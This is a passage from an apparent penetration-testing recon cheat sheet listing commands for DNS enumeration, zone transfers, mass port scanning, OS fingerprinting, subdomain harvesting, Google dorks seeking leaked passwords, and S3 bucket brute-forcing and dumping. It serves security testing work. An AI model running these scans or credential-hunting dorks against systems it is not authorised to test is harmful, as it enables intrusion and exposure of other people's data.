  3991. fierce -range $IPRange -dnsserver $Server
  3992. fierce -dns $Domain -wordlist $Wordlist
  3993. fierce -dnsserver $DNS -dns $Domain -wordlist /usr/share/fierce/hosts.txt
  3994.  
  3995.  
  3996. fierce -dns $Domain -threads 3
  3997.  
  3998.  
  3999.  
  4000. dnsenum.pl --enum -f $File.txt --update a -r $Domain >> ~/Enumeration/$domain
  4001.  
  4002.  
  4003.  
  4004. ##-=====================================================================-##
  4005. ##   [+] Search for the A record of $Domain on your local nameserver:
  4006. ##-=====================================================================-##
  4007. dnstracer $Domain
  4008.  
  4009.  
  4010. ##-=====================================================================-##
  4011. ##   [+] Search for the MX record of $Domain on the root-nameservers:
  4012. ##-=====================================================================-##
  4013. dnstracer "-s" . "-q" mx $Domain
  4014.  
  4015.  
  4016. ##-=================================================================-##
  4017. ##   [+] Search for the PTR record (hostname) of 212.204.230.141:
  4018. ##-=================================================================-##
  4019. dnstracer "-q" ptr 141.230.204.212.in-addr.arpa
  4020.  
  4021.  
  4022. ##-========================-##
  4023. ##   [+] IPv6 addresses:
  4024. ##-========================-##
  4025. dnstracer "-q" ptr "-s" . "-o" 2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.6.4.0.2.0.0.0.0.8.b.0.e.f.f.3.ip6.int
  4026.  
  4027.  
  4028.  
  4029. ##-=================================================================-##
  4030. ##   [+]
  4031. ##-=================================================================-##
  4032. dnstop -l 3 eth0
  4033.  
  4034.  
  4035.  
  4036.  
  4037. dnswalk $Domain
  4038.  
  4039. ## ------------------------------------------------------------- ##
  4040. ##   [?] Print debugging and 'status' information to stderr
  4041. ## ------------------------------------------------------------- ##
  4042.  
  4043.  
  4044.                                     ## ----------------------------------------------------------- ##
  4045. dnswalk -r -d $* $Domain.           ## Recursively descend sub-domains of the specified domain.
  4046.                                     ## Print debugging and 'status' information to stderr
  4047.                                     ## ----------------------------------------------------------- ##
  4048.  
  4049.                                     ## ---------------------------------------------------- ##
  4050. dnswalk -F $Domain                  ## perform "fascist" checking
  4051.                                     ## ---------------------------------------------------- ##
  4052.                                     ##  [?] When checking an A record,
  4053.                                     ##      compare the PTR name for each IP address
  4054.                                     ##      with the forward name and report mismatches.
  4055.                                     ## ---------------------------------------------------- ##
  4056.  
  4057. dmitry -p $Domain -f -b
  4058.  
  4059.  
  4060.  
  4061. dmitry -iwnse $Domain
  4062.  
  4063.  
  4064.  
  4065.  
  4066.  
  4067.  
  4068. ##-================-##
  4069. ##  [+] DNSMap
  4070. ##-================-##
  4071. dnsmap -w $File.txt $Domain
  4072.  
  4073.  
  4074. ## ----------------------------------------------------------- ##
  4075. ##   [+] DNSenum - enumerate various DNS records, such as:
  4076. ##                 NS, MX, SOA, and PTR records.
  4077. ##   [?] DNSenum also tries to perform DNS zone transfer
  4078. ## ----------------------------------------------------------- ##
  4079.  
  4080. dnsenum -p 5 -s 20 $Domain
  4081. dnsenum -f $File.txt $Domain
  4082. dnsenum -o dnsenum_info $Domain
  4083.  
  4084. dnsenum --enum -f $File.txt --update a -r $URL
  4085.  
  4086.  
  4087.  
  4088.  
  4089.  
  4090.  
  4091. dnsrecon -d $Domain -D /usr/share/wordlists/$File.txt -t std --xml $File.xml
  4092.  
  4093.  
  4094.  
  4095. ## --------------------------------------------------------------------------------------- ##
  4096.     dnsrecon -t rvs -i 192.1.1.1,192.1.1.20         ## Reverse lookup for IP range:
  4097. ## --------------------------------------------------------------------------------------- ##
  4098.     dnsrecon -t std -d $Domain                      ## Retrieve standard DNS records:
  4099. ## --------------------------------------------------------------------------------------- ##
  4100.     dnsrecon -t brt -d $Domain -w $Hosts.txt        ## Enumerate subdornains:
  4101. ## --------------------------------------------------------------------------------------- ##
  4102.     dnsrecon -d $Domain -t axfr                     ## DNS zone transfer:
  4103. ## --------------------------------------------------------------------------------------- ##
  4104.     dnsrecon --type snoop -n $Server -D $Dict       ## Cache Snooping
  4105. ## --------------------------------------------------------------------------------------- ##
  4106.     dnsrecon -d $Host -t zonewalk                   ## Zone Walking
  4107. ## --------------------------------------------------------------------------------------- ##
  4108.     dnsrecon.py -d $Domain -D $Dict -t brt          ## Domain Brute-Force
  4109. ## --------------------------------------------------------------------------------------- ##
  4110.  
  4111.  
  4112.  
  4113. dnsrecon.py -t brt,std,axfr -D /pentest/enumeration/dns/dnsrecon/namelist.txt -d $target
  4114.  
  4115.  
  4116. ##-=======================================-##
  4117. ##  [+] DNSRecon - DNS Brute Force Scan
  4118. ##-=======================================-##
  4119. dnsrecon -t brt -d $Domain -D /$Dir/$File.txt
  4120.  
  4121.  
  4122.  
  4123. fierce -dns $URL
  4124.  
  4125.  
  4126. ## ---------------------------------------------------------------------------- ##
  4127. ##   [+] Lbd (load balancing detector)
  4128. ##   [?] detects whether a given domain uses DNS and/or HTTP load-balancing
  4129. ## ---------------------------------------------------------------------------- ##
  4130. lbd.sh $URL
  4131.  
  4132.  
  4133. ## ---------------------------------------------------------------------- ##
  4134. ##   [?] Halberd - HTTP-based load balancer detector.
  4135. ##   [?]           checks for differences in the
  4136. ##   [?]           HTTP response headers, cookies, timestamps, etc.
  4137. ## ---------------------------------------------------------------------- ##
  4138. halberd $Domain
  4139.  
  4140.  
  4141.  
  4142.  
  4143. fragroute -f $Location $IP
  4144.  
  4145. fragrouter -i eth0 $options
  4146.  
  4147.  
  4148.  
  4149.  
  4150. nmap -n -Pn -p53 --script dns-zone-transfer --script-args dns-zone-transfer.domain=zonetransfer.me $Domain
  4151.  
  4152. nmap -PN -n -F -T4 -sV -A -oG $File.txt $URL
  4153.  
  4154. dnsenum --dnsserver $DNS --enum -f $File.txt --update a -r $URL
  4155.  
  4156. nmap –sU –A –PN –n –pU:19,53,123,161script=ntp-monlist,dns-recursion,snmp-sysdescr $URL
  4157.  
  4158. amap -d $IP $PORT
  4159. amap -bqv 192.168.1.15 80
  4160.  
  4161.  
  4162.  
  4163.  
  4164. ##-===============================================-##
  4165. ##   [+]
  4166. ##-===============================================-##
  4167.  
  4168.  
  4169.  
  4170. -a (alive)
  4171. -g (generate the host target list from cidr notation)
  4172. -c (count)
  4173. -p (period=msec)
  4174. -s (stats)
  4175. -C (per-target statistics)
  4176. -d (reverse-DNS lookup) -q (quiet)
  4177. -s (print cumulative statistics upon exit)
  4178.  
  4179.  
  4180. ## ---------------------------------------------------------------------- ##
  4181.     fping -a -q -g $2               ## Generate Alive Hosts From File
  4182. ## ---------------------------------------------------------------------- ##
  4183.     fping -g $IP $IP                ## Generate Host List:
  4184. ## ---------------------------------------------------------------------- ##
  4185.     fping -s $Domain                ## Display Statistics:
  4186. ## ---------------------------------------------------------------------- ##
  4187.     fping < $File                   ## ping addresses read from a file
  4188. ## ---------------------------------------------------------------------- ##
  4189.     fping -ag 192.0.2.0/24          ## Find hosts in a given subnet
  4190. ## ---------------------------------------------------------------------- ##
  4191.     fping $IP -s -c 10000 -p 100    ## send high rate of
  4192.                                     ## echo-request packets
  4193. ## ---------------------------------------------------------------------- ##
  4194.  
  4195.  
  4196. ## --------------------------------------------------------- ##
  4197. ##   [?] Use fping to test reachability to range of hosts
  4198. ##       using bash for loop to define hosts
  4199. ## --------------------------------------------------------- ##
  4200. for i in {1..5} ; do fping -C 3 -d -q -s -g 10.0.2$i.100 10.0.2$i.150 ; done
  4201.  
  4202.  
  4203.  
  4204.  
  4205.  
  4206.  
  4207.  
  4208.  
  4209. ##-===============================================-##
  4210. ##   [+] nping - Network packet generation tool
  4211. ##-===============================================-##
  4212.  
  4213.  
  4214.  
  4215. ## ---------------------------------------------------------------------- ##
  4216. ##   [?] Echo Mode - see how the generated probes change in transit
  4217. ##   [?] Revealing the differences between the transmitted packets
  4218. ##   [?] And the packets received at the other end
  4219. ## ---------------------------------------------------------------------- ##
  4220.  
  4221.  
  4222.  
  4223. ##-================================-##
  4224. ##   [+] nping - TCP Probe Mode:
  4225. ##-================================-##
  4226. nping -c 1 --tcp -p 80,433 $Domain
  4227.  
  4228.  
  4229.  
  4230.  
  4231. nping --tcp-connect         ## Unprivileged TCP connect probe mode.
  4232. nping --tcp                 ## TCP probe mode.
  4233. nping --udp                 ## UDP probe mode.
  4234. nping --icmp                ## ICMP probe mode.
  4235. nping --arp                 ## ARP/RARP probe mode.
  4236. nping --traceroute          ## Traceroute mode
  4237.  
  4238.  
  4239.  
  4240. ##-================================-##
  4241. ##   [+] nping - TCP CONNECT MODE
  4242. ##-================================-##
  4243. nping --dest-port                   ## Set destination port(s)
  4244. nping --source-port $Port           ## Try to use a custom source port
  4245.  
  4246.  
  4247.  
  4248. nping --interface
  4249.  
  4250.  
  4251.  
  4252. ##-================================-##
  4253. ##   [+] nping - IPv6 OPTIONS:
  4254. ##-================================-##
  4255. nping --IPv6
  4256. nping --dest-ip
  4257.  
  4258.  
  4259. nping --dest-mac                    ## Set destination mac address
  4260. nping --source-mac <mac>               ## Set source MAC address.
  4261. nping --ether-type <type>           ## Set EtherType value.
  4262.  
  4263.  
  4264.  
  4265.  
  4266. nping --source-ip $SrcAddr      ## Set source IP address.
  4267. nping --dest-ip $DstAddr        ## Set destination IP address
  4268. nping --tos $TOS                ## Set type of service field (8bits).
  4269. nping --id  $ID                 ## Set identification field (16 bits).
  4270. nping --df                      ## Set Dont Fragment flag.
  4271. nping --mf                      ## Set More Fragments flag.
  4272. nping --ttl $Hops               ## Set time to live
  4273.  
  4274. nping -send-eth                       : Send packets at the raw ethernet layer.
  4275. nping --send-ip                        : Send packets using raw IP sockets.
  4276. nping --bpf-filter <filter spec>       : Specify custom BPF filter
  4277.  
  4278.  
  4279.  
  4280.  
  4281. nping --tcp -p 80 --flags rst --ttl 2 192.168.1.1
  4282. nping --icmp --icmp-type time --delay 500ms 192.168.254.254
  4283. nping --echo-server "public" -e wlan0 -vvv
  4284. nping --echo-client "public" $Domain --tcp -p1-1024 --flags ack
  4285.  
  4286.  
  4287. nping -c 1 --tcp -p 22 --flags syn $IP
  4288.  
  4289. nping -tcp -p 445 -data hexdata(AF56A43D) $IP
  4290.  
  4291.  
  4292.  
  4293.  
  4294.  
  4295.  
  4296.  
  4297. amass -src -ip -active -exclude crtsh -d $DOMAIN
  4298. amass -src -ip -active -brute --min-for-recursive 3 -exclude crtsh -w $WORDLIST -d $DOMAIN
  4299.  
  4300.  
  4301.  
  4302.  
  4303. ##-==============================================-##
  4304. ##   [+] Run massdns to determine online hosts
  4305. ##-==============================================-##
  4306. massdns -r $RESOLVERS -q -t A -o -S -w $File.out $File-merged.txt
  4307. cat $File.out | awk '{print $1}' | sed 's/\.$//' | sort -u >> $File-online.txt
  4308.  
  4309.  
  4310. massdns -r lists/resolvers.txt -t A -q -o S $File.txt
  4311.  
  4312.  
  4313. ##-============================================================================-##
  4314. ##   [+] Produce a list of IP addresses corresponding to the target's FQDNs:
  4315. ##-============================================================================-##
  4316. cat $File.out | awk '{split($0,a," "); print a[3]}' | sort | uniq >> $File-FQDNs.txt
  4317.  
  4318.  
  4319.  
  4320.  
  4321.  
  4322.  
  4323.  
  4324.  
  4325. Masscan
  4326. masscan -p8983 --range 0.0.0.0/0 --banners --rate 100000000 -oG masscanips
  4327. masscan --udp-ports 161
  4328.  
  4329.  
  4330. grep ipaddresses with regex
  4331.  
  4332. grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' $File.txt
  4333. grep -oP '(?<=Host: )\S*' $File
  4334.  
  4335.  
  4336.  
  4337.  
  4338. masscan -p1-65535 $(dig +short $1|grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"|head - --max-rate 1000
  4339.  
  4340.  
  4341.  
  4342.  
  4343.  
  4344. ## ------------------------------------------------- ##
  4345. ##   [?] p0f - passive os fingerprinting utility
  4346. ## ------------------------------------------------- ##
  4347. p0f -i eth0
  4348. p0f -i wlan0
  4349.  
  4350.  
  4351. ##-=========================================================-##
  4352. ##   [+] Set iface to promiscuous mode, dump to log file:
  4353. ##-=========================================================-##
  4354. p0f -i eth0 -p -d -o $File.log
  4355. p0f -i wlan0 -p -d -o $File.log
  4356.  
  4357.  
  4358. ##-============================================-##
  4359. ##   [+] p0f - Read from offline PCAP $File:
  4360. ##-============================================-##
  4361. p0f -r $File
  4362.  
  4363.  
  4364. ##-======================================================-##
  4365. ##   [+] p0f - Filter Traffic - Source Port - FTP-Data
  4366. ##-======================================================-##
  4367. p0f -r $File 'src port ftp-data'
  4368. p0f -i wlan0 'src port ftp-data'
  4369.  
  4370.  
  4371. ##-====================================================================================-##
  4372. ##   [+] p0f - Filter Traffic - NOT Destination Network 10.0.0.0 & Netmask 255.0.0.0
  4373. ##-====================================================================================-##
  4374. p0f -r $File 'not dst net 10.0.0.0 mask 255.0.0.0'
  4375. p0f -i wlan0 'not dst net 10.0.0.0 mask 255.0.0.0'
  4376.  
  4377.  
  4378. ##-=============================================================-##
  4379. ##   [+] p0f - Filter Traffic - Destination Port 80 & $SrcIP
  4380. ##-=============================================================-##
  4381. p0f -r $File 'dst port 80 and ( src host $SrcIP or src host $SrcIP )'
  4382. p0f -i wlan0 'dst port 80 and ( src host $SrcIP or src host $SrcIP )'
  4383.  
  4384.  
  4385.  
  4386. ## ----------------------------------------------------------- ##
  4387. ##   [?] WAFW00F - Web Application Firewall Detection Tool
  4388. ## ----------------------------------------------------------- ##
  4389. wafw00f $Domain
  4390.  
  4391.  
  4392.  
  4393.  
  4394. arachni http://$TARGET --report-save-path=$ARACHNI_REPORT_DIR/$TARGET --output-only-positives --scope-include-subdomains
  4395.  
  4396.  
  4397.  
  4398.  
  4399.  
  4400. ## ------------------------------------------------- ##
  4401. ##   [+] Xprobe2 OS fingerprinting
  4402. ## ------------------------------------------------- ##
  4403. ##   [?] fuzzy signature matching to provide
  4404. ##       the probable operating system assessment
  4405. ## ------------------------------------------------- ##
  4406. xprobe2 $IP
  4407.  
  4408. xprobe2 -v -p tcp:80:open $IP
  4409. xprobe2 -v -p tcp:80:open 192.168.6.66
  4410.  
  4411.  
  4412. xprobe2 -v -p tcp:80:open 192.168.6.66
  4413.  
  4414.  
  4415.  
  4416. iptraf -i "wlan0"
  4417.  
  4418.  
  4419. ## Cloud Google Dorks
  4420. site:*.amazonaws.com -www "compute"
  4421. site:*.amazonaws.com -www "compute" "ap-south-1"
  4422. site:pastebin.com "rds.amazonaws.com" "u " pass OR password
  4423.  
  4424. # AWS Buckets Dork
  4425. site:*.s3.amazonaws.com ext:xls | ext:xlsx | ext:csv password|passwd|pass user|username|uid|email
  4426.  
  4427.  
  4428. cloud_enum.py -k companynameorkeyword
  4429.  
  4430. AWSBucketDump.py -l $File.txt
  4431. python AWSBucketDump.py -D -l BucketNames.txt -g s.txt
  4432.  
  4433. php s3-buckets-bruteforcer.php --bucket gwen001-test002
  4434.  
  4435. s3scanner.py --include-closed --out-file $File.txt --dump $File.txt
  4436.  
  4437.  
  4438.  
  4439. aws sts get-caller-identity
  4440. aws s3 ls
  4441. aws s3 ls s3://bucket.com
  4442. aws s3 ls --recursive s3://bucket.com
  4443. aws iam get-account-password-policy
  4444. aws sts get-session-token
  4445.  
  4446.  
  4447.  
  4448.  
  4449. ##-============================-##
  4450. ##  [+] OSINT + Recon Scans:
  4451. ##-============================-##
  4452. sniper -t $Target -o -re
  4453.  
  4454. ##-==========================================-##
  4455. ##  [+] OSINT + Recon Scans [Stealth Mode]
  4456. ##-==========================================-##
  4457. sniper -t $Target -m stealth -o -re
  4458.  
  4459. ##-=====================-##
  4460. ##  [+] Discover mode
  4461. ##-=====================-##
  4462. sniper -t $CIDR -m discover -w $Workspace
  4463.  
  4464. ##-========================-##
  4465. ##  [+] Scan $Port only
  4466. ##-========================-##
  4467. sniper -t $Target -m p -p $Port
  4468.  
  4469.  
  4470. sniper -t $Target
  4471.  
  4472. sniper -t $Target
  4473.  
  4474. sniper -t $Target
  4475.  
  4476.  
  4477.  
  4478.  
  4479. ##-============================-##
  4480. ##  [+]
  4481. ##-============================-##
  4482. amass enum -list
  4483.  
  4484.  
  4485. ##-============================-##
  4486. ##  [+]
  4487. ##-============================-##
  4488. amass enum -src -ip -d $URL
  4489.  
  4490.  
  4491. ##-============================-##
  4492. ##  [+]
  4493. ##-============================-##
  4494. amass enum -src -brute -d $Domain -o $File
  4495.  
  4496.  
  4497. ##-============================-##
  4498. ##  [+]
  4499. ##-============================-##
  4500. amass intel -whois -ip -src -d $Domain -o $File
  4501.  
  4502.  
  4503. ##-========================================-##
  4504. ##  [+] Passively Search For Subdomains:
  4505. ##-========================================-##
  4506. amass enum -passive -d $Domain -src
  4507.  
  4508.  
  4509. ##-=====================================-##
  4510. ##  [+] Active Subdomain Bruteforcing:
  4511. ##-=====================================-##
  4512. amass enum -active -d $Domain -brute -w $File -src -ip -dir $Dir -config $File -o $File
  4513.  
  4514.  
  4515. ##-=========================-##
  4516. ##  [+] DNS Enumeration:
  4517. ##-=========================-##
  4518. amass enum -v -src -ip -brute -min-for-recursive 2 d $Domain
  4519.  
  4520.  
  4521. ##-=====================================-##
  4522. ##  [+] Visualize Enumeration Results:
  4523. ##-=====================================-##
  4524.  
  4525.  
  4526. ##-===================================================-##
  4527. ##  [+] Visualize Enumeration Results Using Maltego:
  4528. ##-===================================================-##
  4529. amass viz -maltego
  4530.  
  4531.  
  4532. ##-========================================-##
  4533. ##  [+] Discover Targets for Enumeration:
  4534. ##-========================================-##
  4535. amass intel -d $Domain
  4536.  
  4537.  
  4538. amass intel -d $Domain -whois
  4539.  
  4540.  
  4541. amass intel -org '$OrgName'
  4542.  
  4543.  
  4544. amass intel -active -asn $ASN -ip
  4545.  
  4546.  
  4547.  
  4548.  
  4549.  
  4550.  
  4551.  
  4552.  
  4553.  
  4554.  
  4555.  
  4556.  
  4557. photon -u $Domain -l 3 -t 100
  4558.  
  4559.  
  4560. EyeWitness --web --single $Domain
  4561. EyeWitness --web -f $File -d $Dir/
  4562.  
  4563.  
  4564.  
  4565.  
  4566. ## --------------------------------------------- ##
  4567. ##  [?] Enumerates a domain for DNS entries
  4568. ## --------------------------------------------- ##
  4569. dnsdict6 -4 -d -t 16 -e -x $Domain
  4570.  
  4571.  
  4572. sslscan $ip:443
  4573. sslscan --ipv4 --show-certificate --ssl2 --ssl3 --tlsall --no-colour $Domain
  4574.  
  4575.  
  4576.  
  4577. echo "Please provide the target ip address and the port."
  4578.  
  4579. sslscan --show-certificate --verbose --no-colour --xml=sslscan_$1_$2.xml $1:$2 2>&1 | tee "$1_$2_sslscan.txt"
  4580.  
  4581.  
  4582.  
  4583.  
  4584.  
  4585. sslyze $Domain --resume --certinfo=basic --compression --reneg --sslv2 --sslv3
  4586.  
  4587. sslyze -regular $Domain
  4588.  
  4589.  
  4590. tlssled $Domain 443
  4591.  
  4592. sslyze $domain --resum --certinfo=basic --compression --reneg --sslv2 --sslv3 --hide_rejected_ciphers
  4593.  
  4594.  
  4595.  
  4596.  
  4597. httprint -h $Domain -s $File.txt -P0
  4598.  
  4599.  
  4600. ## ------------------------------------------------- ##
  4601. ##   [+] Harvesting subdomains with assetfinder...
  4602. ## ------------------------------------------------- ##
  4603. assetfinder $URL | grep '.$URL' | sort -u | tee -a $File.txt
  4604.  
  4605.  
  4606.  
  4607. assetfinder -subs-only $target > $subs_dir/assetfinder.txt
  4608.  
  4609. findomain -u $subs_dir/findomain.txt -t $target
  4610.  
  4611. sublist3r -v -d $target -o $subs_dir/sublist3r.txt
  4612. sed -i 's/<BR>/\n/g' $subs_dir/sublist3r.txt
  4613. sort $subs_dir/sublist3r.txt | uniq > $subs_dir/sublist3r-fl.txt
  4614.  
  4615. subfinder -d $target -o $subs_dir/subfinder.txt -config $config_dir/subfinder-config.yaml
  4616.  
  4617. amass enum  --passive -d $target -config $config_dir/amass-config.ini -o $subs_dir/amass.txt
  4618.  
  4619.  
  4620.  
  4621.  
  4622. findomain -q -f /$Dir/$File -r -u findomain_domains.txt
  4623.  
  4624.  
  4625. amass enum -df /$Dir/$File -passive -o amass_passive_domains.txt
  4626. subfinder -dL /$Dir/$File -o subfinder_domains.txt
  4627.  
  4628.  
  4629. cat domains.txt | httprobe -c 50 -t 3000 >$File.txt
  4630.  
  4631. cat alive.txt | aquatone -silent --ports xlarge -out $Dir/ -scan-timeout 500 -screenshot-timeout 50000 -http-timeout 6000
  4632.  
  4633. dirsearch.py -E -t 50 --plain-text $Dir/$File -u $host -w /$Dir/$File.txt | grep Target
  4634.  
  4635.  
  4636. amass -active -brute -o $File.txt -d $Domain
  4637.  
  4638.  
  4639. performing reconnaissance on domain names
  4640. subdomain dictionary brute force
  4641.  
  4642.  
  4643. cat $File.txt | aquatone
  4644.  
  4645. cat $File.xml | aquatone -nmap
  4646.  
  4647. cat $File.txt | aquatone -ports large
  4648.  
  4649. cat $File.txt | aquatone -ports 80,443,3000,3001
  4650.  
  4651.  
  4652.  | aquatone -debug
  4653.  | aquatone -http-timeout
  4654.  | aquatone -proxy
  4655.  | aquatone -out
  4656.  | aquatone -save-body
  4657.  | aquatone -scan-timeout
  4658.  | aquatone -threads
  4659.  | aquatone -template-path
  4660.  | aquatone -silent
  4661.  | aquatone -session
  4662.  | aquatone -screenshot-timeout
  4663.  | aquatone -resolution
  4664.  
  4665.  
  4666.  
  4667.  
  4668.  
  4669. SNMP
  4670. ----
  4671. onesixtyone -c /usr/share/doc/onesixtyone/dict.txt
  4672. Metasploit Module snmp_enum
  4673. snmpcheck -t snmpservice
  4674.  
  4675.  
  4676.  
  4677.  
  4678.  
  4679.  
  4680.  
  4681. ## --------------------------------------------------------------------- ##
  4682. ##   [+] Double checking for subdomains with amass and certspotter...
  4683. ## --------------------------------------------------------------------- ##
  4684. amass enum -d $URL | tee -a $URL/recon/$File.txt
  4685. curl -s https://certspotter.com/api/v0/certs\?domain\=$URL | jq '.[].dns_names[]' | sed 's/\"//g' | sed 's/\*\.//g' | sort -u
  4686. certspotter | tee -a $URL/recon/$File.txt
  4687.  
  4688.  
  4689.  
  4690. [+]certspotter
  4691.         curl https://certspotter.com/api/v0/certs\?domain\=$1 | jq '.[].dns_names[]' | sed 's/\"//g' | sed 's/\*\.//g' | uniq
  4692.     [+]crtsh
  4693.         curl -s https://crt.sh/?q=%.$1  | sed 's/<\/\?[^>]\+>//g' | grep $1
  4694.  
  4695.  
  4696. #!/bin/bash
  4697. echo "[+] Start gather subdomain "
  4698. for i in `cat list.txt`
  4699. do
  4700. curl -s https://crt.sh/\?q\=$i\&output\=json | jq -r '.[].name_value'|sed 's/\*\.//g'|sort -u |tee -a domains.txt
  4701. done
  4702. echo "[+] httprope "
  4703. cat domains.txt |httprobe|tee live-domain.txt
  4704. echo "[+] End "
  4705.  
  4706.  
  4707.  
  4708.  
  4709.  
  4710. https://whois.arin.net
  4711. http://viewdns.info/
  4712. https://hunter.io/
  4713. https://www.zoomeye.org/
  4714. https://greynoise.io/
  4715. https://shodan.io/
  4716. https://censys.io/
  4717.  
  4718.  
  4719.  
  4720.  
  4721.  
  4722.  
  4723.  
  4724.  
  4725.  
  4726. https://api.certspotter.com/
  4727. https://crt.sh/
  4728. https://api.sublist3r.com/
  4729. https://www.dshield.org/api/
  4730. http://apidocs.emergingthreats.net/
  4731. https://api.hackerone.com/docs/v1
  4732. https://pastebin.com/api
  4733. https://www.ssllabs.com/projects/ssllabs-apis/
  4734. https://developer.shodan.io/
  4735. https://cloud.tenable.com/api#/overview
  4736. https://urlscan.io/about-api/
  4737. https://www.virustotal.com/en/documentation/public-api/
  4738. https://www.threatminer.org/api.php
  4739.  
  4740. http://asnlookup.com/api
  4741.  
  4742.  
  4743. https://urlhaus-api.abuse.ch/
  4744.  
  4745.  
  4746.  
  4747. http://isc.sans.edu/api/ip/
  4748. https://isc.sans.edu/api/ipdetails/
  4749.  
  4750.  
  4751.  
  4752.  
  4753.  
  4754. getSubdomains(){
  4755.     curl -s "https://otx.alienvault.com/api/v1/indicators/domain/$1/passive_dns" | jq -r ".passive_dns[].hostname" | sort -u > tmp.txt &
  4756.     curl -s "https://jldc.me/anubis/subdomains/$1" | jq -r '.' | cut -d '"' -f2 | cut -d '[' -f1 | cut -d ']' -f1 | grep . | sort -u >> tmp.txt &
  4757.     curl -s "http://web.archive.org/cdx/search/cdx?url=*.$1/*&output=text&fl=original&collapse=urlkey" | sort | sed -e 's_https*://__' -e "s/\/.*//" -e 's/:.*//' -e 's/^www\.//' | sort -u >> tmp.txt &
  4758.     curl -s "https://certspotter.com/api/v0/certs?domain=$1" | jq '.[].dns_names[]' 2> /dev/null | sed 's/\"//g' | sed 's/\*\.//g' | grep -w $1\$ | sort -u >> tmp.txt &
  4759.     curl -s "https://crt.sh/?q=%.$1&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u >> tmp.txt &
  4760.     curl -s "https://dns.bufferover.run/dns?q=.$1" | jq -r .FDNS_A[] 2>/dev/null | cut -d ',' -f2 | grep -o "\w.*$1" | sort -u >> tmp.txt &
  4761.     curl -s "https://dns.bufferover.run/dns?q=.$1" | jq -r .RDNS[] 2>/dev/null | cut -d ',' -f2 | grep -o "\w.*$1" | sort -u >> tmp.txt &
  4762.     curl -s "https://tls.bufferover.run/dns?q=.$1" | jq -r .Results 2>/dev/null | cut -d ',' -f3 | grep -o "\w.*$1"| sort -u >> tmp.txt &
  4763.     curl -s "https://api.hackertarget.com/hostsearch/?q=$1" | cut -d ',' -f1 | sort -u >> tmp.txt &
  4764.     curl -s "https://rapiddns.io/subdomain/$1?full=1#result" | grep -oaEi "https?://[^\"\\'> ]+" | grep $1 | sed 's/https\?:\/\///' | cut -d "/" -f3 | sort -u >> tmp.txt &
  4765.     curl -s "https://riddler.io/search/exportcsv?q=pld:$1" | grep -o "\w.*$1" | cut -d ',' -f6 | sort -u >> tmp.txt &
  4766.     curl -s "https://www.threatcrowd.org/searchApi/v2/domain/report/?domain=$1" | jq '.subdomains' | cut -d '"' -f2 | cut -d '[' -f1 | cut -d ']' -f1 | grep . | sort -u >> tmp.txt &
  4767.     curl -s "https://api.threatminer.org/v2/domain.php?q=$1&rt=5" | jq -r '.results[]' | sort -u >> tmp.txt &
  4768.     curl -s "https://urlscan.io/api/v1/search/?q=domain:$1" | jq -r '.results[].page.domain' | sort -u >> tmp.txt &
  4769.     curl -s "https://www.virustotal.com/ui/domains/$1/subdomains?limit=40" | grep '"id":' | cut -d '"' -f4 | sort -u >> tmp.txt &
  4770.     csrftoken=$(curl -ILs https://dnsdumpster.com | grep csrftoken | cut -d " " -f2 | cut -d "=" -f2 | tr -d ";")
  4771.     curl -s --header "Host:dnsdumpster.com" --referer https://dnsdumpster.com --user-agent "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0" --data "csrfmiddlewaretoken=$csrftoken&targetip=$1" --cookie "csrftoken=$csrftoken; _ga=GA1.2.1737013576.1458811829; _gat=1" https://dnsdumpster.com >> dnsdumpster.html
  4772.     if [[ -e $1 && -s $1 ]]; then # file exists and is not zero size
  4773.         cat dnsdumpster.html | grep "https://api.hackertarget.com/httpheaders" | grep -o "\w.*$1" | cut -d "/" -f7 | grep '.' | sort -u >> tmp.txt
  4774.     fi
  4775.  
  4776.  
  4777.  
  4778.  
  4779.  
  4780. curl -s "https://certspotter.com/api/v0/certs?domain=$1" | jq '.[].dns_names[]' 2> /dev/null | sed 's/\"//g' | sed 's/\*\.//g' | grep -w $1\$ | sort -u >> tmp.txt &
  4781. curl -s "https://crt.sh/?q=%.$1&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u
  4782.  
  4783. dnsdumpster.com
  4784.  
  4785. censys.io/domain?q=
  4786. censys.io/certificates?q=
  4787.  
  4788.  
  4789. curl -s "https://www.virustotal.com/ui/domains/$1/subdomains?limit=40" | grep '"id":' | cut -d '"' -f4 | sort -u
  4790.  
  4791. curl https://www.virustotal.com/en/domain/$target/information/ -H 'Host: www.virustotal.com' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -m 30 | grep information | grep "$target" | awk '{print $3}' | sed 's/\// /g' | awk '{print $4}' >> /tmp/onlineFoundSubdomains
  4792.  
  4793.  
  4794. https://api.hackertarget.com/pagelinks/?q=
  4795. https://api.hackertarget.com/hostsearch/?q=
  4796.  
  4797.  
  4798.  
  4799. curl https://api.hackertarget.com/findshareddns/?q=$hostname --connect-timeout 15
  4800. curl https://api.hackertarget.com/nmap/?q=$hostname --connect-timeout 15
  4801. curl https://api.hackertarget.com/geoip/?q=$hostname --connect-timeout 15
  4802. curl https://api.hackertarget.com/zonetransfer/?q=$hostname --connect-timeout 15
  4803. curl https://api.hackertarget.com/httpheaders/?q=$hostname --connect-timeout 15
  4804. curl https://api.hackertarget.com/hostsearch/?q=$hostname --connect-timeout 15
  4805. curl https://api.hackertarget.com/dnslookup/?q=$hostname --connect-timeout 15
  4806. curl https://api.hackertarget.com/reversedns/?q=$ip --connect-timeout 15
  4807.  
  4808. curl -s "https://api.hackertarget.com/hostsearch/?q=$1" | cut -d ',' -f1 | sort -u
  4809.  
  4810. curl http://api.hackertarget.com/hostsearch/?q=$target -m 30 | sed 's/,/ /' | awk '{print $1}' | grep "$target" >> /tmp/onlineFoundSubdomains
  4811.  
  4812.  
  4813.  
  4814.  
  4815.  
  4816. openssl req -new -newkey rsa:4096 -sha256 -x509 -days 365 -nodes -out spiderfoot.crt -keyout spiderfoot.key -subj "/CN=localhost"
  4817.  
  4818. chmod 600 spiderfoot.crt
  4819. chmod 600 spiderfoot.key
  4820.  
  4821.  
  4822.  
  4823.  
  4824.  
